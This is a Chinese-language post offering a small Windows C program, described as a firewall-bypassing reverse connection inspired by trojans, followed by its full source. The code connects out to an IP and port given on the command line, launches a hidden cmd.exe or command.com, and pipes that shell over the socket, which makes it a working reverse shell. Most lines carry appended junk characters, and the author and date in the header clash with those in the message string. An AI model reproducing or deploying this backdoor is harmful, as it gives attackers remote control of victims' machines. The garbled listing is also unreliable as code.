这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L8D=F7
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/* ============================== ;b [>{Q;
Rebound port in Windows NT X]}ai5
By wind,2006/7 I '0[
===============================*/ *x8~}/[T(F
#include ZiR}S
#include G%~V b
|gA@$1+}
#pragma comment(lib,"wsock32.lib") 9q?knMt
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void OutputShell(); bq7+l4CGTv
SOCKET sClient; ]xvhUv!G
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YTTy6*\,_
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void main(int argc,char **argv) uO1^Q;F
{ Tr;.%/4Q
WSADATA stWsaData; "-S!^h/v
int nRet; h:Gs9]Lvtv
SOCKADDR_IN stSaiClient,stSaiServer; =&pR=vl
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if(argc != 3) GThGV"
{ ,zZH>P
printf("Useage:\n\rRebound DestIP DestPort\n"); waC i9
return; Q%aF~
} R~oY
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9ls1y=M8J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EUw4$Jt^p
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stSaiClient.sin_family = AF_INET; wOL%otEf
stSaiClient.sin_port = htons(0); O8hx}dOjA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1N _"Mm{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rIPg,4y*S!
{ tz65Tn_M
printf("Bind Socket Failed!\n"); [x>Pf1
return; 9hK8dJw
} Qq{tX
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stSaiServer.sin_family = AF_INET; N/-(~r[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CPa+?__B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gm]q<~eMW
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \Yp"D7:Qi
{ t#M[w|5?
printf("Connect Error!"); ';.TQ_I7Y
return; hK4ww"-
} =:T"naY(
OutputShell(); EO'+r[Y
} 9J%O$sF
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void OutputShell() :6C R~p
{ oBai9 [+
char szBuff[1024]; XH0{|#hwN
SECURITY_ATTRIBUTES stSecurityAttributes; d+P<ce2G
OSVERSIONINFO stOsversionInfo; uF%N`e^S
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Nc6y]eGz
STARTUPINFO stStartupInfo; *C)m#[#:u
char *szShell; o r ~@!
PROCESS_INFORMATION stProcessInformation; 7g8\q@',
unsigned long lBytesRead; im>/$!&OyI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i]zh8|">
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +Rd\*b
stSecurityAttributes.lpSecurityDescriptor = 0; RU.j[8N$
stSecurityAttributes.bInheritHandle = TRUE; 8fvKVS
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1jSmTI d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B$=1@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +CEt:KQ
stStartupInfo.wShowWindow = SW_HIDE; `h'Ab63
stStartupInfo.hStdInput = hReadPipe; fm%4ab30T
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S-6i5H"B&
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GetVersionEx(&stOsversionInfo); |Qpo[E}a
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switch(stOsversionInfo.dwPlatformId) *}r6V"pH~
{ 5U_ar
case 1: `ER#S_}
szShell = "command.com"; kyB>]2
break; T/L\|_:'
default: ^y&2N
szShell = "cmd.exe"; kYS\TMt,C
break; u 8~5e
} l 9rN!Q|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z1e+Ob&
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send(sClient,szMsg,77,0); >]bS"S
while(1) dZJU>o'BG
{ {=^<yK2q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); usugjx^p
if(lBytesRead) H'2o84$
{ 9mv6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TTxSl p2=;
send(sClient,szBuff,lBytesRead,0); 3z
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} +I~U8v-
else s;[64ca]Q
{ Q!fk|D+j
lBytesRead=recv(sClient,szBuff,1024,0); HBa6Y&)<
if(lBytesRead<=0) break; G)5Uiu:^X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /X\:3P
} e+MsFXnB8
} .fzns20u
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return; RoD9
}